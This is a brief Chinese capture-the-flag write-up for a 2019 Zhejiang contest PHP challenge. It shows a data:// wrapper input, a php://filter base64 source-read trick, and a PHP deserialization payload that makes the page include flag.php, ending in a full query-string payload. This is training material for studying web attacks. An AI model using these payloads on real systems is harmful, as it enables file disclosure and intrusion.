逆转思维-浙江大学生网安赛-2019 | php-data伪协议&php伪协议| php反序列化
题目

首先用data伪协议给text传值
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
审查代码可知,不可直接包含flag.php,注释提示包含useless.php文件,利用php://filter协议读取这个useless.php
用php伪协议进行读取useless.php
file=php://filter/read=convert.base64-encode/resource=useless.php


编写反序列化脚本如下,对 Flag类 中的 file 进行赋值
<?php
class Flag{
public $file;
}
$a = new Flag();
$a->file = "flag.php";
echo serialize($a);
?>

注意:最终要利用时,需要回到原界面,将file的值改为 useless.php 而不是php伪协议读取的值
最终payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看网页源码后即可发现flag。
补充


浙公网安备 33010602011771号